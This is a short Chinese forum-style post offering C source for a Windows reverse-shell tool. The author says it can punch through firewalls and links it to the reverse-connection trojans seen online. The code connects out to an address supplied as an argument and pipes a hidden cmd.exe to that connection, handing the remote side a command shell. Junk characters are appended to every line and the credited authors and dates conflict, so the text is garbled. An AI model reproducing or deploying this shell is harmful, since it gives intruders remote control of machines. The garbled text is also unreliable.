这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R= HN>(U
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/* ============================== UNocm0!N'
Rebound port in Windows NT @%J?[PG
By wind,2006/7 G\h8j*o
===============================*/ )>at]mH
#include BXueOvO8
#include A`u04Lm7
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#pragma comment(lib,"wsock32.lib") THQW8 V
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void OutputShell(); yAEOn/.~
SOCKET sClient; >>krH'79
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y5LESZWo
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void main(int argc,char **argv) >rlQY>5pH
{ "%ag^v9
WSADATA stWsaData; L.(T"`-i
int nRet; Y">tfLIL_
SOCKADDR_IN stSaiClient,stSaiServer; h./cs'&
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if(argc != 3) heZ)+}U~
{ P&| =
printf("Useage:\n\rRebound DestIP DestPort\n"); s9'g'O5
return; DMcvu*A
} ;3\Fb3d
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WSAStartup(MAKEWORD(2,2),&stWsaData); (d993~|h
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u]E% R&
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stSaiClient.sin_family = AF_INET; jLvI!q
stSaiClient.sin_port = htons(0); LYh5f#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P;KbS~ SlC
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O|,+@qtH
{ Pb} &c
printf("Bind Socket Failed!\n"); `(;d+fof
return; .5L/<
} s5|LD'o!
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stSaiServer.sin_family = AF_INET; wO}
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c%pW'UE&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?-<t-3%hyV
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ml=1R>#'
{ <Q\`2{
printf("Connect Error!"); oiO3]P]P
return; &\sg~
} !QVd'e
OutputShell(); R ;5w*e}?5
} e_]1e7t
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void OutputShell() 4)2*|w
{ Ms1\J2
char szBuff[1024]; Fh v)
SECURITY_ATTRIBUTES stSecurityAttributes; :;0?;dpO
OSVERSIONINFO stOsversionInfo; {KwLcSn
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /7S]%UY
STARTUPINFO stStartupInfo; +KFK..
char *szShell; nq/xD;q
PROCESS_INFORMATION stProcessInformation; ?0[%+AD hM
unsigned long lBytesRead; AG}'
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JPQ02&e
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (/"T=`3t
stSecurityAttributes.lpSecurityDescriptor = 0; q*{"6"4(
stSecurityAttributes.bInheritHandle = TRUE; UMhM8m!=o
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @T/C<- /:
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vW$]:).
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ie.cTTOI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gK)B3dH*&
stStartupInfo.wShowWindow = SW_HIDE; 7C2/^x P
stStartupInfo.hStdInput = hReadPipe; Qg6m
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WtRy~5A2
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GetVersionEx(&stOsversionInfo); 5jNBt>.0
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switch(stOsversionInfo.dwPlatformId) 1b|<
{ NlcWnSv
case 1: ,7%(Jj$
^
szShell = "command.com"; 3}twWnQZJ
break; 1}ZBj%z4l
default: &<UOi@
szShell = "cmd.exe"; I}:>M!w
break; m(OBk;S~
} k}T~N.0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); M!X@-t#
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send(sClient,szMsg,77,0); BM&'3K_y
while(1) gX(QRQ
{ v?LJ_>hw*T
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }_?7k0EZ@
if(lBytesRead) RuRJ jcnY
{ gu:..'V
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;'o>6I7Ph
send(sClient,szBuff,lBytesRead,0); ?J6hiQvL
} qA30z%#z_
else sL/Lw
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{ \17)=W
lBytesRead=recv(sClient,szBuff,1024,0); n.1a1 Tf
if(lBytesRead<=0) break; P{>T?-Hj
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?q,x?`|(8
} WLh_b)V|
} 0e7v ?UT
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return; UT{Nly8u
}